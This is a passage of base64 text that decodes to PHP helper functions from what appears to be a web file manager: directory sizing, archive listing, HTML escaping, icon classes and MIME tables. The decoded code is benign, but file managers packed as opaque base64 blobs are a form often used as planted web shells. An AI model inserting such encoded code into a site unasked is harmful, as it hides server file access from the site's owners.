gLyBwb3coMTAyNCwgJHBvd2VyKSwgMiksICR1bml0c1skcG93ZXJdKTsNCn0NCg0KLyoqDQogKiBHZXQgdG90YWwgc2l6ZSBvZiBkaXJlY3RvcnkgdHJlZS4NCiAqDQogKiBAcGFyYW0gIHN0cmluZyAkZGlyZWN0b3J5IFJlbGF0aXZlIG9yIGFic29sdXRlIGRpcmVjdG9yeSBuYW1lLg0KICogQHJldHVybiBpbnQgVG90YWwgbnVtYmVyIG9mIGJ5dGVzLg0KICovDQpmdW5jdGlvbiBmbV9nZXRfZGlyZWN0b3J5c2l6ZSgkZGlyZWN0b3J5KSB7DQogICAgJGJ5dGVzID0gMDsNCiAgICAkZGlyZWN0b3J5ID0gcmVhbHBhdGgoJGRpcmVjdG9yeSk7DQogICAgaWYgKCRkaXJlY3RvcnkgIT09IGZhbHNlICYmICRkaXJlY3RvcnkgIT0gJycgJiYgZmlsZV9leGlzdHMoJGRpcmVjdG9yeSkpew0KICAgICAgICBmb3JlYWNoKG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZGlyZWN0b3J5LCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUykpIGFzICRmaWxlKXsNCiAgICAgICAgICAgICRieXRlcyArPSAkZmlsZS0+Z2V0U2l6ZSgpOw0KICAgICAgICB9DQogICAgfQ0KICAgIHJldHVybiAkYnl0ZXM7DQp9DQoNCi8qKg0KICogR2V0IGluZm8gYWJvdXQgemlwIGFyY2hpdmUNCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgNCiAqIEByZXR1cm4gYXJyYXl8Ym9vbA0KICovDQpmdW5jdGlvbiBmbV9nZXRfemlmX2luZm8oJHBhdGgsICRleHQpIHsNCiAgICBpZiAoJGV4dCA9PSAnemlwJyAmJiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHsNCiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpOw0KICAgICAgICBpZiAoJGFyY2gpIHsNCiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpOw0KICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7DQogICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpOw0KICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICcvJzsNCiAgICAgICAgICAgICAgICAkZmlsZW5hbWVzW10gPSBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICR6aXBfbmFtZSwNCiAgICAgICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiBAemlwX2VudHJ5X2ZpbGVzaXplKCR6aXBfZW50cnkpLA0KICAgICAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiBAemlwX2VudHJ5X2NvbXByZXNzZWRzaXplKCR6aXBfZW50cnkpLA0KICAgICAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlcg0KICAgICAgICAgICAgICAgICAgICAvLydjb21wcmVzc2lvbl9tZXRob2QnID0+IHppcF9lbnRyeV9jb21wcmVzc2lvbm1ldGhvZCgkemlwX2VudHJ5KSwNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7DQogICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lczsNCiAgICAgICAgfQ0KICAgIH0gZWxzZWlmKCRleHQgPT0gJ3RhcicgJiYgY2xhc3NfZXhpc3RzKCdQaGFyRGF0YScpKSB7DQogICAgICAgICRhcmNoaXZlID0gbmV3IFBoYXJEYXRhKCRwYXRoKTsNCiAgICAgICAgJGZpbGVuYW1lcyA9IGFycmF5KCk7DQogICAgICAgIGZvcmVhY2gobmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoJGFyY2hpdmUpIGFzICRmaWxlKSB7DQogICAgICAgICAgICAkcGFyZW50X2luZm8gPSAkZmlsZS0+Z2V0UGF0aEluZm8oKTsNCiAgICAgICAgICAgICR6aXBfbmFtZSA9IHN0cl9yZXBsYWNlKCJwaGFyOi8vIi4kcGF0aCwgJycsICRmaWxlLT5nZXRQYXRoTmFtZSgpKTsNCiAgICAgICAgICAgICR6aXBfbmFtZSA9IHN1YnN0cigkemlwX25hbWUsICgkcG9zID0gc3RycG9zKCR6aXBfbmFtZSwgJy8nKSkgIT09IGZhbHNlID8gJHBvcyArIDEgOiAwKTsNCiAgICAgICAgICAgICR6aXBfZm9sZGVyID0gJHBhcmVudF9pbmZvLT5nZXRGaWxlTmFtZSgpOw0KICAgICAgICAgICAgJHppcF9pbmZvID0gbmV3IFNwbEZpbGVJbmZvKCRmaWxlKTsNCiAgICAgICAgICAgICRmaWxlbmFtZXNbXSA9IGFycmF5KA0KICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsDQogICAgICAgICAgICAgICAgJ2ZpbGVzaXplJyA9PiAkemlwX2luZm8tPmdldFNpemUoKSwNCiAgICAgICAgICAgICAgICAnY29tcHJlc3NlZF9zaXplJyA9PiAkZmlsZS0+Z2V0Q29tcHJlc3NlZFNpemUoKSwNCiAgICAgICAgICAgICAgICAnZm9sZGVyJyA9PiAkemlwX2ZvbGRlcg0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJGZpbGVuYW1lczsNCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovKioNCiAqIEVuY29kZSBodG1sIGVudGl0aWVzDQogKiBAcGFyYW0gc3RyaW5nICR0ZXh0DQogKiBAcmV0dXJuIHN0cmluZw0KICovDQpmdW5jdGlvbiBmbV9lbmMoJHRleHQpDQp7DQogICAgcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJHRleHQsIEVOVF9RVU9URVMsICdVVEYtOCcpOw0KfQ0KDQovKioNCiAqIFByZXZlbnQgWFNTIGF0dGFja3MNCiAqIEBwYXJhbSBzdHJpbmcgJHRleHQNCiAqIEByZXR1cm4gc3RyaW5nDQogKi8NCmZ1bmN0aW9uIGZtX2lzdmFsaWRfZmlsZW5hbWUoJHRleHQpIHsNCiAgICByZXR1cm4gKHN0cnBicmsoJHRleHQsICcvPyUqOnwiPD4nKSA9PT0gRkFMU0UpID8gdHJ1ZSA6IGZhbHNlOw0KfQ0KDQovKioNCiAqIFNhdmUgbWVzc2FnZSBpbiBzZXNzaW9uDQogKiBAcGFyYW0gc3RyaW5nICRtc2cNCiAqIEBwYXJhbSBzdHJpbmcgJHN0YXR1cw0KICovDQpmdW5jdGlvbiBmbV9zZXRfbXNnKCRtc2csICRzdGF0dXMgPSAnb2snKQ0Kew0KICAgICRfU0VTU0lPTltGTV9TRVNTSU9OX0lEXVsnbWVzc2FnZSddID0gJG1zZzsNCiAgICAkX1NFU1NJT05bRk1fU0VTU0lPTl9JRF1bJ3N0YXR1cyddID0gJHN0YXR1czsNCn0NCg0KLyoqDQogKiBDaGVjayBpZiBzdHJpbmcgaXMgaW4gVVRGLTgNCiAqIEBwYXJhbSBzdHJpbmcgJHN0cmluZw0KICogQHJldHVybiBpbnQNCiAqLw0KZnVuY3Rpb24gZm1faXNfdXRmOCgkc3RyaW5nKQ0Kew0KICAgIHJldHVybiBwcmVnX21hdGNoKCcvL3UnLCAkc3RyaW5nKTsNCn0NCg0KLyoqDQogKiBDb252ZXJ0IGZpbGUgbmFtZSB0byBVVEYtOCBpbiBXaW5kb3dzDQogKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZQ0KICogQHJldHVybiBzdHJpbmcNCiAqLw0KZnVuY3Rpb24gZm1fY29udmVydF93aW4oJGZpbGVuYW1lKQ0Kew0KICAgIGlmIChGTV9JU19XSU4gJiYgZnVuY3Rpb25fZXhpc3RzKCdpY29udicpKSB7DQogICAgICAgICRmaWxlbmFtZSA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04Ly9JR05PUkUnLCAkZmlsZW5hbWUpOw0KICAgIH0NCiAgICByZXR1cm4gJGZpbGVuYW1lOw0KfQ0KDQovKioNCiAqIEBwYXJhbSAkb2JqDQogKiBAcmV0dXJuIGFycmF5DQogKi8NCmZ1bmN0aW9uIGZtX29iamVjdF90b19hcnJheSgkb2JqKQ0Kew0KICAgIGlmICghaXNfb2JqZWN0KCRvYmopICYmICFpc19hcnJheSgkb2JqKSkgew0KICAgICAgICByZXR1cm4gJG9iajsNCiAgICB9DQogICAgaWYgKGlzX29iamVjdCgkb2JqKSkgew0KICAgICAgICAkb2JqID0gZ2V0X29iamVjdF92YXJzKCRvYmopOw0KICAgIH0NCiAgICByZXR1cm4gYXJyYXlfbWFwKCdmbV9vYmplY3RfdG9fYXJyYXknLCAkb2JqKTsNCn0NCg0KLyoqDQogKiBHZXQgQ1NTIGNsYXNzbmFtZSBmb3IgZmlsZQ0KICogQHBhcmFtIHN0cmluZyAkcGF0aA0KICogQHJldHVybiBzdHJpbmcNCiAqLw0KZnVuY3Rpb24gZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aCkNCnsNCiAgICAvLyBnZXQgZXh0ZW5zaW9uDQogICAgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJHBhdGgsIFBBVEhJTkZPX0VYVEVOU0lPTikpOw0KDQogICAgc3dpdGNoICgkZXh0KSB7DQogICAgICAgIGNhc2UgJ2ljbyc6DQogICAgICAgIGNhc2UgJ2dpZic6DQogICAgICAgIGNhc2UgJ2pwZyc6DQogICAgICAgIGNhc2UgJ2pwZWcnOg0KICAgICAgICBjYXNlICdqcGMnOg0KICAgICAgICBjYXNlICdqcDInOg0KICAgICAgICBjYXNlICdqcHgnOg0KICAgICAgICBjYXNlICd4Ym0nOg0KICAgICAgICBjYXNlICd3Ym1wJzoNCiAgICAgICAgY2FzZSAncG5nJzoNCiAgICAgICAgY2FzZSAnYm1wJzoNCiAgICAgICAgY2FzZSAndGlmJzoNCiAgICAgICAgY2FzZSAndGlmZic6DQogICAgICAgIGNhc2UgJ3dlYnAnOg0KICAgICAgICBjYXNlICdhdmlmJzoNCiAgICAgICAgY2FzZSAnc3ZnJzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtcGljdHVyZS1vJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdwYXNzd2QnOg0KICAgICAgICBjYXNlICdmdHBxdW90YSc6DQogICAgICAgIGNhc2UgJ3NxbCc6DQogICAgICAgIGNhc2UgJ2pzJzoNCiAgICAgICAgY2FzZSAndHMnOg0KICAgICAgICBjYXNlICdqc3gnOg0KICAgICAgICBjYXNlICd0c3gnOg0KICAgICAgICBjYXNlICdoYnMnOg0KICAgICAgICBjYXNlICdqc29uJzoNCiAgICAgICAgY2FzZSAnc2gnOg0KICAgICAgICBjYXNlICdjb25maWcnOg0KICAgICAgICBjYXNlICd0d2lnJzoNCiAgICAgICAgY2FzZSAndHBsJzoNCiAgICAgICAgY2FzZSAnbWQnOg0KICAgICAgICBjYXNlICdnaXRpZ25vcmUnOg0KICAgICAgICBjYXNlICdjJzoNCiAgICAgICAgY2FzZSAnY3BwJzoNCiAgICAgICAgY2FzZSAnY3MnOg0KICAgICAgICBjYXNlICdweSc6DQogICAgICAgIGNhc2UgJ3JzJzoNCiAgICAgICAgY2FzZSAnbWFwJzoNCiAgICAgICAgY2FzZSAnbG9jayc6DQogICAgICAgIGNhc2UgJ2R0ZCc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtY29kZS1vJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICd0eHQnOg0KICAgICAgICBjYXNlICdpbmknOg0KICAgICAgICBjYXNlICdjb25mJzoNCiAgICAgICAgY2FzZSAnbG9nJzoNCiAgICAgICAgY2FzZSAnaHRhY2Nlc3MnOg0KICAgICAgICBjYXNlICd5YW1sJzoNCiAgICAgICAgY2FzZSAneW1sJzoNCiAgICAgICAgY2FzZSAndG9tbCc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdGV4dC1vJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdjc3MnOg0KICAgICAgICBjYXNlICdsZXNzJzoNCiAgICAgICAgY2FzZSAnc2Fzcyc6DQogICAgICAgIGNhc2UgJ3Njc3MnOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jc3MzJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdiejInOg0KICAgICAgICBjYXNlICd6aXAnOg0KICAgICAgICBjYXNlICdyYXInOg0KICAgICAgICBjYXNlICdneic6DQogICAgICAgIGNhc2UgJ3Rhcic6DQogICAgICAgIGNhc2UgJzd6JzoNCiAgICAgICAgY2FzZSAneHonOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWFyY2hpdmUtbyc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAncGhwJzoNCiAgICAgICAgY2FzZSAncGhwNCc6DQogICAgICAgIGNhc2UgJ3BocDUnOg0KICAgICAgICBjYXNlICdwaHBzJzoNCiAgICAgICAgY2FzZSAncGh0bWwnOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1jb2RlJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdodG0nOg0KICAgICAgICBjYXNlICdodG1sJzoNCiAgICAgICAgY2FzZSAnc2h0bWwnOg0KICAgICAgICBjYXNlICd4aHRtbCc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWh0bWw1JzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICd4bWwnOg0KICAgICAgICBjYXNlICd4c2wnOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLWV4Y2VsLW8nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3dhdic6DQogICAgICAgIGNhc2UgJ21wMyc6DQogICAgICAgIGNhc2UgJ21wMic6DQogICAgICAgIGNhc2UgJ200YSc6DQogICAgICAgIGNhc2UgJ2FhYyc6DQogICAgICAgIGNhc2UgJ29nZyc6DQogICAgICAgIGNhc2UgJ29nYSc6DQogICAgICAgIGNhc2UgJ3dtYSc6DQogICAgICAgIGNhc2UgJ21rYSc6DQogICAgICAgIGNhc2UgJ2ZsYWMnOg0KICAgICAgICBjYXNlICdhYzMnOg0KICAgICAgICBjYXNlICd0ZHMnOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1tdXNpYyc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnbTN1JzoNCiAgICAgICAgY2FzZSAnbTN1OCc6DQogICAgICAgIGNhc2UgJ3Bscyc6DQogICAgICAgIGNhc2UgJ2N1ZSc6DQogICAgICAgIGNhc2UgJ3hzcGYnOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1oZWFkcGhvbmVzJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdhdmknOg0KICAgICAgICBjYXNlICdtcGcnOg0KICAgICAgICBjYXNlICdtcGVnJzoNCiAgICAgICAgY2FzZSAnbXA0JzoNCiAgICAgICAgY2FzZSAnbTR2JzoNCiAgICAgICAgY2FzZSAnZmx2JzoNCiAgICAgICAgY2FzZSAnZjR2JzoNCiAgICAgICAgY2FzZSAnb2dtJzoNCiAgICAgICAgY2FzZSAnb2d2JzoNCiAgICAgICAgY2FzZSAnbW92JzoNCiAgICAgICAgY2FzZSAnbWt2JzoNCiAgICAgICAgY2FzZSAnM2dwJzoNCiAgICAgICAgY2FzZSAnYXNmJzoNCiAgICAgICAgY2FzZSAnd212JzoNCiAgICAgICAgY2FzZSAnd2VibSc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtdmlkZW8tbyc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnZW1sJzoNCiAgICAgICAgY2FzZSAnbXNnJzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZW52ZWxvcGUtbyc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAneGxzJzoNCiAgICAgICAgY2FzZSAneGxzeCc6DQogICAgICAgIGNhc2UgJ29kcyc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtZXhjZWwtbyc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnY3N2JzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS10ZXh0LW8nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2Jhayc6DQogICAgICAgIGNhc2UgJ3N3cCc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWNsaXBib2FyZCc7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgY2FzZSAnZG9jJzoNCiAgICAgICAgY2FzZSAnZG9jeCc6DQogICAgICAgIGNhc2UgJ29kdCc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtd29yZC1vJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdwcHQnOg0KICAgICAgICBjYXNlICdwcHR4JzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1wb3dlcnBvaW50LW8nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3R0Zic6DQogICAgICAgIGNhc2UgJ3R0Yyc6DQogICAgICAgIGNhc2UgJ290Zic6DQogICAgICAgIGNhc2UgJ3dvZmYnOg0KICAgICAgICBjYXNlICd3b2ZmMic6DQogICAgICAgIGNhc2UgJ2VvdCc6DQogICAgICAgIGNhc2UgJ2Zvbic6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZvbnQnOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3BkZic6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLWZpbGUtcGRmLW8nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ3BzZCc6DQogICAgICAgIGNhc2UgJ2FpJzoNCiAgICAgICAgY2FzZSAnZXBzJzoNCiAgICAgICAgY2FzZSAnZmxhJzoNCiAgICAgICAgY2FzZSAnc3dmJzoNCiAgICAgICAgICAgICRpbWcgPSAnZmEgZmEtZmlsZS1pbWFnZS1vJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBjYXNlICdleGUnOg0KICAgICAgICBjYXNlICdtc2knOg0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1maWxlLW8nOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIGNhc2UgJ2JhdCc6DQogICAgICAgICAgICAkaW1nID0gJ2ZhIGZhLXRlcm1pbmFsJzsNCiAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICBkZWZhdWx0Og0KICAgICAgICAgICAgJGltZyA9ICdmYSBmYS1pbmZvLWNpcmNsZSc7DQogICAgfQ0KDQogICAgcmV0dXJuICRpbWc7DQp9DQoNCi8qKg0KICogR2V0IGltYWdlIGZpbGVzIGV4dGVuc2lvbnMNCiAqIEByZXR1cm4gYXJyYXkNCiAqLw0KZnVuY3Rpb24gZm1fZ2V0X2ltYWdlX2V4dHMoKQ0Kew0KICAgIHJldHVybiBhcnJheSgnaWNvJywgJ2dpZicsICdqcGcnLCAnanBlZycsICdqcGMnLCAnanAyJywgJ2pweCcsICd4Ym0nLCAnd2JtcCcsICdwbmcnLCAnYm1wJywgJ3RpZicsICd0aWZmJywgJ3BzZCcsICdzdmcnLCAnd2VicCcsICdhdmlmJyk7DQp9DQoNCi8qKg0KICogR2V0IHZpZGVvIGZpbGVzIGV4dGVuc2lvbnMNCiAqIEByZXR1cm4gYXJyYXkNCiAqLw0KZnVuY3Rpb24gZm1fZ2V0X3ZpZGVvX2V4dHMoKQ0Kew0KICAgIHJldHVybiBhcnJheSgnYXZpJywgJ3dlYm0nLCAnd212JywgJ21wNCcsICdtNHYnLCAnb2dtJywgJ29ndicsICdtb3YnLCAnbWt2Jyk7DQp9DQoNCi8qKg0KICogR2V0IGF1ZGlvIGZpbGVzIGV4dGVuc2lvbnMNCiAqIEByZXR1cm4gYXJyYXkNCiAqLw0KZnVuY3Rpb24gZm1fZ2V0X2F1ZGlvX2V4dHMoKQ0Kew0KICAgIHJldHVybiBhcnJheSgnd2F2JywgJ21wMycsICdvZ2cnLCAnbTRhJyk7DQp9DQoNCi8qKg0KICogR2V0IHRleHQgZmlsZSBleHRlbnNpb25zDQogKiBAcmV0dXJuIGFycmF5DQogKi8NCmZ1bmN0aW9uIGZtX2dldF90ZXh0X2V4dHMoKQ0Kew0KICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgJ3R4dCcsICdjc3MnLCAnaW5pJywgJ2NvbmYnLCAnbG9nJywgJ2h0YWNjZXNzJywgJ3Bhc3N3ZCcsICdmdHBxdW90YScsICdzcWwnLCAnanMnLCAndHMnLCAnanN4JywgJ3RzeCcsICdtanMnLCAnanNvbicsICdzaCcsICdjb25maWcnLA0KICAgICAgICAncGhwJywgJ3BocDQnLCAncGhwNScsICdwaHBzJywgJ3BodG1sJywgJ2h0bScsICdodG1sJywgJ3NodG1sJywgJ3hodG1sJywgJ3htbCcsICd4c2wnLCAnbTN1JywgJ20zdTgnLCAncGxzJywgJ2N1ZScsICdiYXNoJywgJ3RwbCcsICd2dWUnLA0KICAgICAgICAnZW1sJywgJ21zZycsICdjc3YnLCAnYmF0JywgJ3R3aWcnLCAndHBsJywgJ21kJywgJ2dpdGlnbm9yZScsICdsZXNzJywgJ3Nhc3MnLCAnc2NzcycsICdjJywgJ2NwcCcsICdjcycsICdweScsICdnbycsICd6c2gnLCAnc3dpZnQnLCAneW1sJywNCiAgICAgICAgJ21hcCcsICdsb2NrJywgJ2R0ZCcsICdzdmcnLCAnc2NzcycsICdhc3AnLCAnYXNweCcsICdhc3gnLCAnYXNteCcsICdhc2h4JywgJ2pzcCcsICdqc3B4JywgJ2NmbScsICdjZ2knLCAnZG9ja2VyZmlsZScsICdydWJ5JywgJ3R3aWcnLA0KICAgICAgICAneW1sJywgJ3lhbWwnLCAndG9tbCcsICdtZCcsICd2aG9zdCcsICdzY3B0JywgJ2FwcGxlc2NyaXB0JywgJ2MnLCAnY3MnLCAnY3N4JywgJ2NzaHRtbCcsICdjcHAnLCAnYysrJywgJ2NvZmZlZScsICdjZm0nLCAncmInLA0KICAgICAgICAnZ3JhcGhxbCcsICdtdXN0YWNoZScsICdqaW5qYScsICdwaHRtbCcsICdodHRwJywgJ2hhbmRsZWJhcnMnLCAnbG9jaycsICdqYXZhJywgJ2VzJywgJ2VzNicsICdtYXJrZG93bicsICd3aWtpJywgJ3Zob3N0JywgJ3NxbCcsDQogICAgKTsNCn0NCg0KLyoqDQogKiBHZXQgbWltZSB0eXBlcyBvZiB0ZXh0IGZpbGVzDQogKiBAcmV0dXJuIGFycmF5DQogKi8NCmZ1bmN0aW9uIGZtX2dldF90ZXh0X21pbWVzKCkNCnsNCiAgICByZXR1cm4gYXJyYXkoDQogICAgICAgICdhcHBsaWNhdGlvbi94bWwnLA0KICAgICAgICAnYXBwbGljYXRpb24vamF2YXNjcmlwdCcsDQogICAgICAgICdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnLA0KICAgICAgICAnaW1hZ2Uvc3ZnK3htbCcsDQogICAgICAgICdtZXNzYWdlL3JmYzgyMicsDQogICAgICAgICdhcHBsaWNhdGlvbi9qc29uJywNCiAgICApOw0KfQ0KDQovKioNCiAqIEdldCBmaWxlIG5hbWVzIG9mIHRleHQgZmlsZXMgdy9vIGV4dGVuc2lvbnMNCiAqIEByZXR1cm4gYXJyYXkNCiAqLw0KZnVuY3Rpb24gZm1fZ2V0X3RleHRfbmFtZXMoKQ0Kew0KICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgJ2xpY2Vuc2UnLA0KICAgICAgICAncmVhZG1lJywNCiAgICAgICAgJ2F1dGhvcnMnLA0KICAgICAgICAnY29udHJpYnV0b3JzJywNCiAgICAgICAgJ2NoYW5nZWxvZycsDQogICAgKTsNCn0NCg0KLyoqDQogKiBHZXQgb25saW5lIGRvY3Mgdmlld2VyIHN1cHBvcnRlZCBmaWxlcyBleHRlbnNpb25zDQogKiBAcmV0dXJuIGFycmF5DQogKi8NCmZ1bmN0aW9uIGZtX2dldF9vbmxpbmVWaWV3ZXJfZXh0cygpDQp7DQogICAgcmV0dXJuIGFycmF5KCdkb2MnLCAnZG9jeCcsICd4bHMnLCAneGxzeCcsICdwZGYnLCAncHB0JywgJ3BwdHgnLCAnYWknLCAncHNkJywgJ2R4ZicsICd4cHMnLCAncmFyJywgJ29kdCcsICdvZHMnKTsNCn0NCg0KLyoqDQogKiBJdCByZXR1cm5zIHRoZSBtaW1lIHR5cGUgb2YgYSBmaWxlIGJhc2VkIG9uIGl0cyBleHRlbnNpb24uDQogKiBAcGFyYW0gZXh0ZW5zaW9uIFRoZSBmaWxlIGV4dGVuc2lvbiBvZiB0aGUgZmlsZSB5b3Ugd2FudCB0byBnZXQgdGhlIG1pbWUgdHlwZSBmb3IuDQogKiBAcmV0dXJuIHN0cmluZ3xzdHJpbmdbXSBUaGUgbWltZSB0eXBlIG9mIHRoZSBmaWxlLg0KICovDQpmdW5jdGlvbiBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKQ0Kew0KICAgICRmaWxlVHlwZXNbJ3N3ZiddID0gJ2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJzsNCiAgICAkZmlsZVR5cGVzWydwZGYnXSA9ICdhcHBsaWNhdGlvbi9wZGYnOw0KICAgICRmaWxlVHlwZXNbJ2V4ZSddID0gJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7DQogICAgJGZpbGVUeXBlc1snemlwJ10gPSAnYXBwbGljYXRpb24vemlwJzsNCiAgICAkZmlsZVR5cGVzWydkb2MnXSA9ICdhcHBsaWNhdGlvbi9tc3dvcmQnOw0KICAgICRmaWxlVHlwZXNbJ3hscyddID0gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbCc7DQogICAgJGZpbGVUeXBlc1sncHB0J10gPSAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnOw0KICAgICRmaWxlVHlwZXNbJ2dpZiddID0gJ2ltYWdlL2dpZic7DQogICAgJGZpbGVUeXBlc1sncG5nJ10gPSAnaW1hZ2UvcG5nJzsNCiAgICAkZmlsZVR5cGVzWydqcGVnJ10gPSAnaW1hZ2UvanBnJzsNCiAgICAkZmlsZVR5cGVzWydqcGcnXSA9ICdpbWFnZS9qcGcnOw0KICAgICRmaWxlVHlwZXNbJ3dlYnAnXSA9ICdpbWFnZS93ZWJwJzsNCiAgICAkZmlsZVR5cGVzWydhdmlmJ10gPSAnaW1hZ2UvYXZpZic7DQogICAgJGZpbGVUeXBlc1sncmFyJ10gPSAnYXBwbGljYXRpb24vcmFyJzsNCg0KICAgICRmaWxlVHlwZXNbJ3JhJ10gPSAnYXVkaW8veC1wbi1yZWFsYXVkaW8nOw0KICAgICRmaWxlVHlwZXNbJ3JhbSddID0gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvJzsNCiAgICAkZmlsZVR5cGVzWydvZ2cnXSA9ICdhdWRpby94LXBuLXJlYWxhdWRpbyc7DQoNCiAgICAkZmlsZVR5cGVzWyd3YXYnXSA9ICd2aWRlby94LW1zdmlkZW8nOw0KICAgICRmaWxlVHlwZXNbJ3dtdiddID0gJ3ZpZGVvL3gtbXN2aWRlbyc7DQogICAgJGZpbGVUeXBlc1snYXZpJ10gPSAndmlkZW8veC1tc3ZpZGVvJzsNCiAgICAkZmlsZVR5cGVzWydhc2YnXSA9ICd2aWRlby94LW1zdmlkZW8nOw0KICAgICRmaWxlVHlwZXNbJ2RpdngnXSA9ICd2aWRlby94LW1zdmlkZW8nOw0KDQogICAgJGZpbGVUeXBlc1snbXAzJ10gPSAnYXVkaW8vbXBlZyc7DQogICAgJGZpbGVUeXBlc1snbXA0J10gPSAnYXVkaW8vbXBlZyc7DQogICAgJGZpbGVUeXBlc1snbXBlZyddID0gJ3ZpZGVvL21wZWcnOw0KICAgICRmaWxlVHlwZXNbJ21wZyddID0gJ3ZpZGVvL21wZWcnOw0KICAgICRmaWxlVHlwZXNbJ21wZSddID0gJ3ZpZGVvL21wZWcnOw0KICAgICRmaWxlVHlwZXNbJ21vdiddID0gJ3ZpZGVvL3F1aWNrdGltZSc7DQogICAgJGZpbGVUeXBlc1snc3dmJ10gPSAndmlkZW8vcXVpY2t0aW1lJzsNCiAgICAkZmlsZVR5cGVzWyczZ3AnXSA9ICd2aWRlby9xdWlja3RpbWUnOw0KICAgICRmaWxlVHlwZXNbJ200YSddID0gJ3ZpZGVvL3F1aWNrdGltZSc7DQogICAgJGZpbGVUeXBlc1snYWFjJ10gPSAndmlkZW8vcXVpY2t0aW1lJzsNCiAgICAkZmlsZVR5cGVzWydtM3UnXSA9ICd2aWRlby9xdWlja3RpbWUnOw0KDQogICAgJGZpbGVUeXBlc1sncGhwJ10gPSBbJ2FwcGxpY2F0aW9uL3gtcGhwJ107DQogICAgJGZpbGVUe